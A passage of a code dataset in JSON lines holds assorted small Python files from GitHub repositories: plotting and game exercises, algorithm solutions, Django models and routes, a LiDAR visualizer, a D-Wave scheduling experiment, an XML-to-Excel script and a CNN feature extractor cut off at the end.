+{"seq_id":"73373436214","text":"# coding=utf-8\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom mpl_toolkits.mplot3d import Axes3D  # 导入Axes3D类\r\n\r\nfig = plt.figure()  # 获取到当前figure对象\r\nfig.set_size_inches(10, 5)  # 设置图片尺寸，以inches为单位\r\nax = fig.gca(projection='3d')  # 获取图中的当前极轴（如果不存在或者不是极轴，则将创建相应的轴），返回的类型是Axes3D的子类\r\n\r\nx = np.linspace(-10, 10, 1000)  # # 创建指定范围和元素数量的数组，这里x和y轴的范围都是[-10, 10]\r\ny = np.linspace(-10, 10, 1000)  # 每一个点都由[x,y,z]三个坐标值来确定，x，y，z三个数组的元素数量应该相同\r\nz = np.add(x, y)  # np.add是元素级（element-wise）的运算：将x和y两个数组的元素逐个相加，结果仍然是包含1000个元素的数组\r\n\r\nax.plot(x, y, z)  # 绘制3D线形图\r\nplt.show()\r\n\r\n# ### 立体绘图（3D plotting）\r\n# 通过Matplotlib可以绘制3D图形；\r\n# - Tutorials：https://matplotlib.org/tutorials/toolkits/mplot3d.html\r\n# - Examples：https://matplotlib.org/gallery/index.html#d-plotting\r\n# - API：https://matplotlib.org/api/toolkits/mplot3d.html\r\n#\r\n# ### Axes3D\r\n# API：https://matplotlib.org/api/_as_gen/mpl_toolkits.mplot3d.axes3d.Axes3D.html\r\n# 本文涉及的绘制3D图形函数都位于此接口；\r\n# 一些常用函数：\r\n# - plot()：绘制3D线形图\r\n# - scatter(): 绘制3D散点图\r\n# - plot_wireframe()：绘制3D线框图\r\n# - plot_surface()：绘制3D曲面图\r\n# - contour()：绘制3D等高线\r\n# - bar()：绘制3D柱状图\r\n# - add_collection3d()：向图形中添加3D集合对象，可用来绘制3D多边形\r\n","repo_name":"anliven/Hello-Data","sub_path":"Matplotlib/Matplotlib07_3D_plot.py","file_name":"Matplotlib07_3D_plot.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38113615095","text":"import random\r\n\r\nN = 3\r\nGAME = ['•', '•', '•', '•', '•', '•', '•', '•', '•']\r\n\r\n\r\ndef print_pole():\r\n    for i in range(N):\r\n        print(GAME[3 * i], GAME[3 * i + 1], GAME[3 * i + 2])\r\n\r\n\r\ndef game_continues():\r\n    for i in range(N):\r\n        if GAME[i] == GAME[i + 3] == GAME[i + 6] == 'X':\r\n            print(\"Крестики выиграли\")\r\n            return False\r\n        if GAME[i] == GAME[i + 3] == GAME[i + 6] == '0':\r\n            print(\"Нолики выиграли\")\r\n            return False\r\n    for i in (0, 3, 6):\r\n        if GAME[i] == GAME[i + 1] == GAME[i + 2] == 'X':\r\n            print(\"Крестики выиграли\")\r\n            return False\r\n        if GAME[i] == GAME[i + 1] == GAME[i + 2] == '0':\r\n            print(\"Нолики выиграли\")\r\n            return False\r\n    if GAME[0] == GAME[4] == GAME[8] == 'X':\r\n        print(\"Крестики выиграли\")\r\n        return False\r\n    if GAME[0] == GAME[4] == GAME[8] == '0':\r\n        print(\"Нолики выиграли\")\r\n        return False\r\n    if GAME[2] == GAME[4] == GAME[6] == 'X':\r\n        print(\"Крестики выиграли\")\r\n        return False\r\n    if GAME[2] == GAME[4] == GAME[6] == '0':\r\n        print(\"Нолики выиграли\")\r\n        return False\r\n\r\n    dots = 0\r\n    for i in range(9):\r\n        if GAME[i] == '•': dots += 1\r\n    if dots > 0:\r\n        return True\r\n    else:\r\n        return False\r\n\r\n\r\ndef go_player():\r\n    if game_continues():\r\n        input_cycle = True\r\n\r\n        while input_cycle:\r\n            x, y = input(\"Введите координаты: \").split()\r\n            if not x.isdigit() or not y.isdigit():\r\n                print(\"Неверные координаты\")\r\n                continue\r\n            else:\r\n                x = int(x) - 1\r\n                y = int(y) - 1\r\n                if x > 2 or y > 2 or x < 0 or y < 0 or GAME[x * N + y] == '0':\r\n                    print(\"Неверные координаты\")\r\n                else:\r\n                    input_cycle = False\r\n        return x, y\r\n\r\n\r\ndef go_computer():\r\n    rng = random.Random()\r\n    comp_cycle = True\r\n    while comp_cycle:\r\n        x = rng.randrange(N)\r\n        y = rng.randrange(N)\r\n        if GAME[x * N + y] == '•':\r\n            comp_cycle = False\r\n    return x, y\r\n\r\n\r\ndef game_process():\r\n    print_pole()\r\n    while game_continues():\r\n        x, y = go_player()\r\n        GAME[x * N + y] = 'X'\r\n        if game_continues():\r\n            x, y = go_computer()\r\n            GAME[x * N + y] = '0'\r\n        print_pole()\r\n\r\n\r\ngame_process()\r\n\r\n","repo_name":"AOvsyannikov1/My_progs","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"5631440076","text":"import sys\nsys.stdin = open('input.txt')\n\n\ndef in_order(v):\n    if v <= N:\n        in_order(v*2)\n        print(alp_lst[v], end='')\n        in_order(v*2+1)\n\nT = 10\nfor tc in range(1, T+1):\n    N = int(input())\n    alp_lst = [0] * (N+1)\n    for i in range(N):\n        li = list(input().split())\n        alp_lst[i+1] = li[1]\n    print(f'#{tc}', end=' ')\n    in_order(1)\n    print()\n\n","repo_name":"Haru-arp/TIL","sub_path":"Algorithm/SWEA/1231_중위순회/1231_중위순회.py","file_name":"1231_중위순회.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"24118050725","text":"from django.core.validators import MinLengthValidator\nfrom django.db import models\n\nfrom petstagram.basic.model_mixins import StrFromFieldsMixin\nfrom petstagram.basic.validators import validate_image_less_than_5mgb\nfrom petstagram.pets.models import Pet\n\n\n# Create your models here.\n\n\nclass Photo(StrFromFieldsMixin, models.Model):\n    str_fields = ('photo', 'location')\n\n    MEDIA_FILES = 'mediafiles/pet_photo/'\n    MIN_DESCRIPTION_LENGTH = 10\n    MAX_DESCRIPTION_LENGTH = 300\n\n    MAX_LOCATION_LENGTH = 30\n\n    # Requires mediafiles to work correctly\n    photo = models.ImageField(\n        upload_to=MEDIA_FILES,\n        validators=(validate_image_less_than_5mgb,),\n        null=False,\n        blank=True,\n    )\n\n    description = models.CharField(\n        max_length=MAX_DESCRIPTION_LENGTH,\n        validators=(\n            # Django/python validation not DV Validation\n            MinLengthValidator(MIN_DESCRIPTION_LENGTH),\n        ),\n        null=True,\n        blank=True,\n    )\n\n    location = models.CharField(\n        max_length=MAX_LOCATION_LENGTH,\n        null=True,\n        blank=True,\n    )\n\n    publication_date = models.DateField(\n        auto_now=True,\n        null=False,\n        blank=True,\n    )\n\n    tagged_pets = models.ManyToManyField(\n        Pet,\n        blank=True,\n    )\n","repo_name":"Orminis/petstagram","sub_path":"petstagram/photos/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18239015461","text":"n, m = map(int, input().split())\na = list(map(int, input().split()))\n\n\ndef check(a, mid):\n    l = len(a)\n    t1 = a[0]\n    t2 = a[0]\n    ans = 1\n    for i in range(1, l):\n        if t1 > a[i]:\n            t1 = a[i]\n            # 최소값만들기\n        if t2 < a[i]:\n            t2 = a[i]\n            # 최대값 만들기\n        if t2-t1 > mid:\n            ans += 1\n            t1 = a[i]\n            t2 = a[i]\n    return ans\n\n\nleft = 0\nright = max(a)\nans = right\nwhile left <= right:\n    mid = (left + right) // 2\n    if check(a, mid) <= m:\n        if ans > mid:\n            ans = mid\n        right = mid - 1\n\n    else:\n        left = mid + 1\n\nprint(ans)\n\n","repo_name":"yeonnseok/ps-algorithm","sub_path":"2019 baekjoon/BinarySearch/13397_divide2.py","file_name":"13397_divide2.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"3315785856","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 31 09:04:56 2018\n\n@author: ivan\n\nVisualizer for the Lidar's data. It can used with both Hokuyo and the rpLidar. It contains the core/bare minimum functions to get the data\ntransform it, calculate necessary angles and orientations, correct the data and display it.\n\nTo be fully working the script needs both a lidar and a IMU/Arduino combo, but with small changes \n\"\"\"\n\n# Default imports\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport serial\n\n\n# LiDAR driver/library import - UTM-30LX lidar and rpLiDAR \nimport UTM_30LX as lx\n\nfrom rplidar import RPLidar\nfrom rplidar import RPLidarException\n\n# Imports from the helper library - lite version that does not contains only the necessary minimum. They are explained in the library itself\nfrom helperFunctions_lite import calculateMeans, circle2cart_drone, circle2cart_points, calculateAnglesPCA, testEllipse, calculateMinMax, intersectionLineCurve,getDataFromIMU\n\n#Class for animating the visualization\nclass AnimatedScatter(object):\n    \"\"\"An animated scatter plot using matplotlib.animations.FuncAnimation. WhichLidar -> 0 = rplidar, 1 = NONE, 2 = hokuyo\n        MaxRange, AxisRange - ranges only for visualization\n        lidarMinThresh, lidarMaxThresh - distance thresholds for what data is taken from the lidar reading\n        whichCenter - only for demonstration purposes - if 0 then lidar is center of coordinate system, if 1 then the lidar's position is calculated from all it's readings to a arbitrary 0 based coordinate system\n    \"\"\"\n    \n    def __init__(self,portName = '/dev/ttyACM0',  maxRange = 30000, axisRange = 10000, whichLidar = 2, lidarMinThresh = 500, lidarMaxThresh = 5000, whichCenter = 0):\n        \n        #===============================================================#\n        #=================== Initialization Block ======================#\n        #===============================================================#\n        \n        self.maxRange = maxRange\n        self.axisRange = axisRange\n        \n        self.whichLidar = whichLidar\n        self.portName = portName\n        \n        self.lidarMinThresh = lidarMinThresh\n        self.lidarMaxThresh = lidarMaxThresh\n        \n        self.whichCenter = whichCenter\n        \n        # global variables       \n        self.anglePCA = 0 # angle of the blade points, calculated using PCA\n        self.PCACalculated = False # helper bool for determining if blade angle calculated\n        \n        self.environmentPoints = [] # detected points from blade\n\n        self.calculateEllipse = False # is the ellipse calculated\n        \n        self.ellipseAlgStart = False # is the elliptical algorithm running\n\n        \n        self.serial_IMU = serial.Serial(\"COM10\",57600) # IMU + arduino serial, if no IMU is present please comment out\n        \n        self.arduinoInitial = np.zeros(8)#if no IMU is present please comment out\n        self.lidarRotAngle = 0 # lidar rotation angle , if no IMU is present please comment out\n        \n        self.armedAngle = 0 # lidar angle when the blade angle is calculated, used as an initial angle, if no IMU is present please comment out\n        \n        # initialize lidar - in case of the rpLidar  an initial health check is required to be sure that the proper data is sent     \n        if self.whichLidar is 0:\n        \n            self.lidar = RPLidar(self.portName)\n            \n            print(\"Starting Lidar...\")\n            ## Start Lidar and get's info\n            while True:\n                try:\n                    \n                    info = self.lidar.get_health()\n                    \n                    \n                    break\n                except RPLidarException:\n                    \n                    print(\"Lidar error retry\")\n                finally:\n                    self.lidar.stop()\n            \n            print(info)\n            \n            self.iterator = self.lidar.iter_scans(1000,5,100,6000)\n        \n        elif self.whichLidar is 1:\n            pass\n            # The sweep lidar is removed as it is not currently used \n            \n        \n        elif self.whichLidar is 2:\n\n            self.lidar = lx.connect(self.portName) \n            \n            lx.startLaser(self.lidar)\n\n        #===============================================================#\n        #========================== BLOCK END ==========================#\n        #===============================================================#\n        \n        \n        #===============================================================#\n        #================== Setup figures and events ===================#\n        #===============================================================#\n        \n        # Setup the figure and axes...\n        self.fig, self.ax = plt.subplots()\n        \n        self.fig.canvas.mpl_connect('close_event', self.handle_close) # event for clicking the X\n        \n        self.onClickEv = self.fig.canvas.mpl_connect('button_press_event', self.on_click) # event for clicking the mouse button\n        # Then setup FuncAnimation. - self.update is the update function, while self.setup_plot is the initialization of figures\n        self.ani = animation.FuncAnimation(self.fig, self.update, interval=1./40, \n                                           init_func=self.setup_plot, blit=True)\n        \n        \n        #===============================================================#\n        #========================== BLOCK END ==========================#\n        #===============================================================#\n\n\n    # Handler function for closing the figure, each lidar has different exit strategies   \n    def handle_close(self,evt):\n        print('Closed Figure!')\n        \n        self.fig.canvas.mpl_disconnect(self.onClickEv) \n        self.serial_IMU.close() # disconnect IMU serial, if no IMU is present please comment out\n        if self.whichLidar is 0:\n            \n            self.lidar.stop()\n            self.lidar.stop_motor()\n            self.lidar.disconnect()\n        elif self.whichLidar is 1:\n            pass\n        \n        elif self.whichLidar is 2:\n            self.lidar.close()\n            \n    # Handler function for mouse click on the canvas         \n    def on_click(self, evt):\n        \n        # if the blade points orientation is calculated and the elliptical alg is not started - start it now       \n        if self.PCACalculated == True and self.ellipseAlgStart == False:\n            self.ellipseAlgStart = True\n        \n        # if the blade points orientation is not calculated - do it       \n        if self.PCACalculated == False:\n            \n            self.anglePCA = calculateAnglesPCA(self.environmentPoints)\n            self.PCACalculated = True\n            \n            print(self.anglePCA)\n            \n        \n        print(\"Clicked\")\n        \n    # Setup function for plotting       \n    def setup_plot(self):\n\n        \"\"\"Setup static markings.\"\"\"\n\n        # Setup axis limits\n        self.ax.axis([-self.axisRange, self.axisRange, -self.axisRange, self.axisRange])\n\n        # Create updating scatter plot and variable for later use\n        self.scat = self.ax.scatter([], [], c='b', s=1, animated=True, alpha=0.5)\n        \n        self.scat_lidar = self.ax.scatter([], [], c='r', s=30, animated=True, alpha=0.5)\n        \n        self.scat_ellipse = self.ax.scatter([], [], c='g', s=20, animated=True, alpha=0.5)\n\n        # For FuncAnimation's sake, we need to return the artist we'll be using\n        # Note that it expects a sequence of artists, thus the trailing comma.\n        return self.scat,self.scat_lidar,self.scat_ellipse,\n\n    def update(self, i):\n        \"\"\"Update the scatter plot.\"\"\"\n        \n        # Update function runs and gets data from the Lidar       \n        if self.whichLidar is 0:\n          scan = next(self.iterator)\n          angleDistance = np.array(scan)  \n            \n        elif self.whichLidar is 1:\n            pass\n        \n        elif self.whichLidar is 2:\n            # 0 and 1080 is the degrees that the Hokuyo gets readings from - 0 to 180 degrees, as it checks in 6 increments between a degree\n            # the last value of 1 signifies if the data will be clustered - if it's 1 data is not averaged by captures           \n            angleDistance, status = lx.getLatestScanSteps(self.lidar, 0, 1080,1)\n        \n        # Remove data that is farther or closer than the thresholds        \n        angleDistance = angleDistance[np.logical_and(angleDistance[:,1] > self.lidarMinThresh, angleDistance[:,1] < self.lidarMaxThresh)]\n        \n        # Used only for testing/visualization purposes - when 0 only the environment points are printed and the lidar is always at 0,0        \n        if self.whichCenter == 0:\n            \n            environmentPoints = circle2cart_points([0,0],angleDistance, 0)\n            lidarPoint = [0,0]\n        # Start real algorithm        \n        elif self.whichCenter == 1:\n            \n            # Get orientation data from IMU, if no IMU present comment out the next three lines             \n            arduinoOutput = getDataFromIMU(self.serial_IMU,self.arduinoInitial)\n            self.arduinoInitial = arduinoOutput\n            self.lidarRotAngle = arduinoOutput[4]\n\n            # if the elliptical algorithm is started compensate for the lidar's rotation            \n            if self.ellipseAlgStart is True:\n\n                compensateYaw = self.lidarRotAngle - self.armedAngle # current rotation angles - the armed angle\n        \n                angleDistance[:,0] = angleDistance[:,0] + compensateYaw \n            \n            # Calculate mean angle and mean distance          \n            meanAngle,meanDist = calculateMeans(angleDistance)\n            \n            # go from polar to carthesian system - position the lidar at a 0,0 coordinate system, then reproject blade points from the lidar's position            \n            lidarPoint = circle2cart_drone([0,0],meanAngle, meanDist)\n            environmentPoints = circle2cart_points(lidarPoint,angleDistance, 0)\n            \n            self.environmentPoints = environmentPoints\n            \n            # is the blade orientation calculated\n            if self.PCACalculated is True:\n                \n                \n                if self.calculateEllipse is False:\n                    # Calculate ellipse - first get the major diameter of the ellipse\n                    minDist,maxDist,minDist_points,maxDist_points = calculateMinMax(self.environmentPoints)\n                    \n                    # create ellipse using the major diameter, and major diameter/6 as minor diameter, the angle of rotation and a 0,0 center\n                    ellipseRadAngle, self.ellipseBladePoints = testEllipse(int(maxDist/6), int(maxDist), self.anglePCA, [0,0])\n                    self.calculateEllipse = True\n                    \n                    # save the armed angle of lidar orientation\n                    self.armedAngle = self.lidarRotAngle\n                    \n                if self.ellipseAlgStart is True:\n                    \n                    # get the average detected point position\n                    averagePointPos=[sum(environmentPoints[:,0])/len(environmentPoints[:,0]),sum(environmentPoints[:,1])/len(environmentPoints[:,1])]\n                    pCenter=np.array((0,0))\n                    pAvg = np.array((averagePointPos[0],averagePointPos[1]))\n                    # calculate the distance between the ellipse center and the point\n                    distAveragePointToZero = np.linalg.norm(pCenter-pAvg)\n                    \n                    # find the intersection between the ellipse the center of the ellipse and the lidar position\n                    intersectPointOnCurve = intersectionLineCurve([0,0], lidarPoint, self.ellipseBladePoints)\n                    \n                    # calculate correction distance - ellipse radius \n                    correctionDist = math.sqrt(intersectPointOnCurve[0]**2 + intersectPointOnCurve[1]**2)\n                    # calculate new center for going from polar to carthesian using the correction distance and the dist of the average point to zero\n                    newCenterPos = circle2cart_drone([0,0],meanAngle, correctionDist -distAveragePointToZero)\n                    \n                    lidarPoint = circle2cart_drone(newCenterPos,meanAngle, meanDist)\n                    \n                    environmentPoints = circle2cart_points(lidarPoint,angleDistance, 0)\n                # visualize ellipse\n                self.scat_ellipse.set_offsets(self.ellipseBladePoints)\n\n\n        # Visualize environment and lidar points \n        self.scat.set_offsets(environmentPoints)\n        \n        self.scat_lidar.set_offsets(lidarPoint)\n\n        # We need to return the updated artist for FuncAnimation to draw..\n        # Note that it expects a sequence of artists, thus the trailing comma.\n        return self.scat,self.scat_lidar,self.scat_ellipse,\n\n    def show(self):\n        plt.show()\n        \n\n\n\nif __name__ == '__main__':\n\n        \n    a = AnimatedScatter(\"COM9\",1000,1000,2, 100, 300, 1)\n    a.show()","repo_name":"IvanNik17/Testing-and-Visualizing-rpLiDAR-and-Hokuyo-UTM-30LX","sub_path":"LiDAR_animate.py","file_name":"LiDAR_animate.py","file_ext":"py","file_size_in_byte":13206,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"4746397713","text":"#!/usr/bin/python3\n\"\"\"\ndefines all common attributes/mothods for other classes\n\"\"\"\n\nfrom datetime import datetime\nimport uuid\nfrom datetime import datetime\nimport models\nimport sqlalchemy\nfrom sqlalchemy import Column, String, DateTime\nfrom sqlalchemy.ext.declarative import declarative_base\n\ntime = \"%Y-%m-%dT%H:%M:%S.%f\"\n\nif models.storage_t == \"db\":\n    Base = declarative_base()\nelse:\n    Base = object\n\n\nclass BaseModel:\n    \"\"\"Base for all AirBnB website projects\"\"\"\n\n    if models.storage_t == \"db\":\n        id = Column(String(60), primary_key = True)\n        created_at = Column(DateTime, default=datetime.utcnow)\n        updated_at = Column(DateTime, default=datetime.utcnow)\n\n    def __init__(self, *args, **kwargs):\n        \"\"\"initializes the basemodel class\"\"\"\n        if not kwargs:\n            self.id = str(uuid.uuid4())\n            self.created_at = datetime.utcnow()\n            self.updated_at = self.created_at\n            models.storage.new(self)\n        elif kwargs:\n            for key, value in kwargs.items():\n                if key != '__class__':\n                    setattr(self, key, value)\n            if kwargs.get(\"created_at\", None) and type(self.created_at) is str:\n                self.created_at = datetime.strptime(kwargs[\"created_at\"], time)\n            else:\n                self.created_at = datetime.utcnow()\n            if kwargs.get(\"updated_at\", None) and type(self.updated_at) is str:\n                self.updated_at = datetime.strptime(kwargs[\"updated_at\"], time)\n            else:\n                self.updated_at = datetime.utcnow()\n            if kwargs.get(\"id\", None) is None:\n                self.id = str(uuid.uuid4())\n\n    def __str__(self):\n        \"\"\"returns string representation of this class\"\"\"\n        name = self.__class__.__name__\n        return \"[{}] ({}) {}\".format(name, self.id, self.__dict__)\n\n    def save(self):\n        \"\"\"updates updated_at with the current datetime\"\"\"\n        self.updated_at = datetime.utcnow()\n        models.storage.new(self)\n        models.storage.save()\n\n    def to_dict(self):\n        \"\"\"returns the dictionary containing all keys of __dict__\"\"\"\n        new_dict = self.__dict__.copy()\n        if \"created_at\" in new_dict:\n            new_dict[\"created_at\"] = new_dict[\"created_at\"].strftime(time)\n        if \"updated_at\" in new_dict:\n            new_dict[\"updated_at\"] = new_dict[\"updated_at\"].strftime(time)\n        new_dict[\"__class__\"] = self.__class__.__name__\n        if \"_sa_instance_state\" in new_dict:\n            del new_dict[\"_sa_instance_state\"]\n        return new_dict\n\n    def delete(self):\n        \"\"\"delete the current instance from the starage\"\"\"\n        models.storage.delete(self)\n","repo_name":"sebagadisk/AirBnB_clone_v2","sub_path":"models/base_model.py","file_name":"base_model.py","file_ext":"py","file_size_in_byte":2692,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"35865778379","text":"import sys\n\ninput = sys.stdin.readline\n# 숫자 개수, 플레이어 수, 선물 위치, 라운드의 수\nn, k, p, l = map(int, input().split())\narr = [list(map(int, input().split())) for _ in range(k)]\n\nplayer, rnd = -1, 1\ncur = 1\nis_winner = False\nfor i in range(l):  # l라운드\n    for j in range(k):  # k명\n        turn = arr[j][i]\n        # 회전\n        for _ in range(turn):\n            if cur == 1:\n                cur = n\n            else:\n                cur -= 1\n        if cur == p:\n            print(j+1, i+1)\n            sys.exit()\n\nprint(-1)\n","repo_name":"combiJihoon/AlgorithmStudy","sub_path":"elice/test3-2.py","file_name":"test3-2.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"71048485174","text":"import dwave\nimport dwavebinarycsp\nfrom dwave.embedding import embed_qubo\n\nfrom dwave.system import DWaveSampler\nfrom dwave_networkx import chimera_graph\n\nfrom utils.jobshop_helpers import ones_from_sample\nfrom utils.jobshopproblem import JobShopProblem, pruned_number\n\njob_shop_problem = JobShopProblem.from_data([[2, 1], [1,2]], 2, 4)\n\njob_shop_problem.add_starts_once_constraint()\njob_shop_problem.add_one_job_one_machine_constraint()\njob_shop_problem.add_operations_order_constraint()\n\n\nprint(job_shop_problem.qubo)\nprint(job_shop_problem.qubo_pruned)\n# Q, offset = dwavebinarycsp.stitch(job_shop_problem.csp, max_graph_size=16, min_classical_gap=0.6).to_qubo()\n#\n# response = QBSolv().sample_qubo(job_shop_problem.qubo_pruned, solver=sampler, solver_limit=30)\n\nlinear = {}\nquadratic = {}\nqubits_number = pruned_number\nfor i in range(qubits_number):\n    linear['x{}'.format(i), 'x{}'.format(i)] = int(job_shop_problem.qubo_pruned[i, i])\nfor i in range(qubits_number):\n    for j in range(i + 1, qubits_number):\n        val = job_shop_problem.qubo_pruned[i, j]\n        if (val != 0):\n            quadratic['x{}'.format(i), 'x{}'.format(j)] = int(val)\n\nQ = dict(linear)\nQ.update(quadratic)\n\nprint(Q)\n\nembedding = {}\n\nemb_numbers = []\n# print(job_shop_problem.row_length)\ncells_number = int(qubits_number/4)\nfor i in range(cells_number):\n    tmp = []\n    # row\n    for j in range(1,i + 1 + 1,1):\n        tmp.append(i * 128 + 4 * (2 * j - 1))\n    for j in range(i,cells_number):\n        tmp.append(j * 128 + i * 8)\n    emb_numbers.append(tmp)\n\n# for i,num in enumerate(emb_numbers):\n#     print(\"i={}, numbers: {}\".format(i,num))\n\nfor num, arr in enumerate(emb_numbers):\n    for i in range(4):\n        tmp_embedding = set()\n        for elem in sorted(arr):\n            tmp_embedding.add(elem + i + 16)\n\n        # tmp_embedding.add(elem + i)\n        # print(\"Num: {}, arr: {}, i: {}, embedding: {}\".format(num, sorted(arr), i, sorted(tmp_embedding)))\n\n        embedding['x{}'.format(4 * num + i)] = tmp_embedding\n        # print(\"x{}: {}\".format(4 * num + i, sorted(tmp_embedding)))\n\n# embedding = {'x0': {0,4}, 'x1': {1,5}, 'x2': {2,6}, 'x3': {3,7}}\n\n\n# response = EmbeddingComposite(DWaveSampler()).sample_qubo(Q, num_reads=1000)\n#\n\ntQ = dwave.embedding.embed_qubo(Q, embedding, chimera_graph(16), chain_strength=7.8)\n\nresponse = DWaveSampler().sample_qubo(tQ, num_reads=200)\n\nfor s in list(response.data()):\n    print(ones_from_sample(s.sample), \"Energy: \", s.energy, \"Occurrences: \", s.num_occurrences)\n#\n#\n\nprint(\"UNEMBEDED RESULTS\")\nsource_bqm = dwavebinarycsp.dimod.BinaryQuadraticModel.from_qubo(Q)# (linear, quadratic, 0, Vartype.BINARY)\nsuma = 0\nfor i, val in enumerate(dwave.embedding.unembed_sampleset(response, source_bqm=source_bqm, embedding=embedding)):\n    suma += list(response.data())[i].num_occurrences\n    print(ones_from_sample(val), list(response.data())[i].num_occurrences, list(response.data())[i].energy, suma)\n","repo_name":"dawtom/quantum_optimization","sub_path":"working/small_JS_pruned_handEmbedded.py","file_name":"small_JS_pruned_handEmbedded.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10380747965","text":"import xml.etree.ElementTree as ET \r\nimport xlsxwriter\r\nimport os.path\r\nimport openpyxl\r\npath = 'C:\\\\users\\\\robi\\\\desktop\\\\dir\\\\rest\\\\SoapUIResults'\r\nnum_files = len([f for f in os.listdir(path)if os.path.isfile(os.path.join(path, f))])\r\nnum=num_files/2\r\nwb = openpyxl.load_workbook(\"C:\\\\users\\\\robi\\\\desktop\\\\new1.xlsx\") \r\nsheet = wb['ACTUAL'] \r\n#clm = sheet.max_column\r\nrwnm = len([row for row in sheet if not all([cell.value == None for cell in row])]) + 1\r\n#clm = len([column for column in sheet if not all([cell.value == None for cell in column])]) + 2\r\n#print(clm)\r\na=0\r\ni=1\r\nfor j in range(1,int(num+1)):\r\n    dom = ET.parse(\"C:\\\\users\\\\robi\\\\desktop\\\\dir\\\\rest\\\\SoapUIResults\\\\response_\"+str(j) +\".xml\")\r\n    returnCode = dom.find('returnCode').text\r\n    returnMessage = dom.find('returnMessage').text\r\n    sheet.cell(row = rwnm, column= 6).value=int(returnCode)\r\n    sheet.cell(row = rwnm, column= 7).value=returnMessage\r\n    orderz = dom.findall('orders/order')\r\n    a=a+(len(orderz))\r\n    while i < a+1:\r\n        for c in orderz:\r\n           # matchingSample = c.find('matchingSample').text\r\n            orderCode = c.find('orderCode').text\r\n            orderCodeMnemonic = c.find('orderCodeMnemonic').text \r\n            returnCode = c.find('returnCode').text\r\n            returnMessage = c.find('returnMessage').text\r\n           # stabilityFlag = c.find('stabilityFlag').text\r\n         #print (matchingSample,orderCode,orderCodeMnemonic)\r\n           # outsheet.write(i,0,matchingSample)\r\n            sheet.cell(row = rwnm, column= 2).value=int(orderCode)\r\n            sheet.cell(row = rwnm, column= 3).value=orderCodeMnemonic\r\n            sheet.cell(row = rwnm, column= 4).value=int(returnCode)\r\n            sheet.cell(row = rwnm, column= 5).value=returnMessage\r\n            i += 1 \r\n            rwnm=rwnm+1\r\n#print(returnCode)\r\n#print(returnMessage)\r\n# outsheet.write(\"A1\",\"MATCHING SAMPLE\")\r\n# outsheet.write(\"B1\",\"orderCode\")\r\n# outsheet.write(\"C1\",\"orderCodeMnemonic\")\r\n# outsheet.write(\"A2\",matchingSample)\r\n# outsheet.write(\"B2\",orderCode)\r\n# outsheet.write(\"C2\",orderCodeMnemonic)\r\nwb.save(\"C:\\\\users\\\\robi\\\\desktop\\\\new1.xlsx\") \r\n","repo_name":"ramitrehal/ADT_addtest","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":2150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"17688455851","text":"#coding:utf8\n\nfrom django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n    url(r'^$', views.index, name='index'),\n    url(r'^save_db_info/$', views.save_db_info, name='save_db_info'),\n    url(r'^table_list/$', views.table_list, name='table_list'),\n    url(r'^generate_code/$', views.generate_code, name='generate_code'),\n    url(r'^generate_markdown/$', views.generate_markdown, name='generate_markdown'),\n]","repo_name":"t3573393/django_admin_db_reverse","sub_path":"django_project/db_reverse/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35833431301","text":"#!/usr/bin/env python3\r\n\r\nimport os\r\nimport sys\r\nimport threading\r\nimport numpy as np\r\nimport yaml\r\nimport pickle\r\nimport pdb\r\nimport re\r\nfrom PIL import Image, ImageFile\r\nimport torch\r\nimport torch.nn.functional as F\r\nimport torch.nn as nn\r\nfrom torch.autograd import Variable\r\nimport torch.utils.data as data\r\nimport torchvision.models as models\r\nfrom torchvision.models import resnet50\r\nfrom torchvision.models import resnet18\r\nfrom torchvision import transforms\r\nfrom joblib import Parallel, delayed\r\n\r\nimport threading\r\nimport time\r\nimport multiprocessing\r\n\r\nImageFile.LOAD_TRUNCATED_IMAGES = True\r\n\r\n\r\ndef get_cnn_features_from_image(img, cnn_feat_video_filename):\r\n    # Receives filename of downsampled video and of output path for features.\r\n    # Extracts features in the given keyframe_interval. Saves features in pickled file.\r\n    print(\"Processing {}\".format(cnn_feat_video_filename))\r\n    x = Variable(transform(img))\r\n    x = x.unsqueeze(0)\r\n    my_embedding = torch.zeros(1, 2048, 1, 1)\r\n\r\n    def copy_data(m, i, o):\r\n        my_embedding.copy_(o.data)\r\n\r\n    h = layer.register_forward_hook(copy_data)\r\n    h_x = model(x)\r\n    h.remove()\r\n    z = my_embedding.data.numpy()\r\n    z = z.squeeze(-1).squeeze(-1)\r\n    np.savez(cnn_feat_video_filename, z)\r\n    print(\"Saved {}\".format(cnn_feat_video_filename))\r\n\r\n\r\ndef chunkIt(seq, num):\r\n    avg = len(seq) / float(num)\r\n    out = []\r\n    last = 0.0\r\n\r\n    while last < len(seq):\r\n        out.append(seq[int(last):int(last + avg)])\r\n        last += avg\r\n\r\n    return out\r\n\r\n\r\ndef 